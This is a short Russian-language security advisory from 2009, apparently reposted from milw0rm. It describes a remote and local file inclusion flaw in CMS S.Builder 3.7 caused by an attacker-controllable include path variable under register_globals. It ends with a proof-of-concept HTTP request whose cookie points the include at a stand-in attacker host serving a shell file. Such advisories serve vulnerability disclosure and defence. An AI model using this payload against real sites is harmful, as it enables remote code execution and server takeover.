05.03.2009

CMS S.Builder <= 3.7 RFI/LFI

This advisory at milw0rm.com

Сайт разработчика: http://www.sbuilder.ru
Уязвимые версии: тестировалось на версии 3.7, но, вероятно, уязвимость присутствует и в следующих версиях.

Описание:
Движок этой cms создает файлы сайта (index.php, etc) с кодом вида:

if (!isset($GLOBALS['binn_include_path'])) $GLOBALS['binn_include_path'] = '';
...
include_once($GLOBALS['binn_include_path'].'prog/pl_menu/show_menu.php');
...

При register_globals=On, можно записать собственный путь в переменную binn_include_path, и провести атаку LFI или RFI (при allow_url_fopen=On), отрезав добавляемый в include_once() путь при помощи null-byte или php path truncation attack.

PoC:
GET /index.php HTTP/1.1
Host: www.site.com
Cookie: binn_include_path=http://evil.site.com/shell.txt?

0 коммент.:

Отправить комментарий

Большая просьба: не оставляйте анонимных комментариев и не используйте в своих комментариях нецензурную лексику без дела.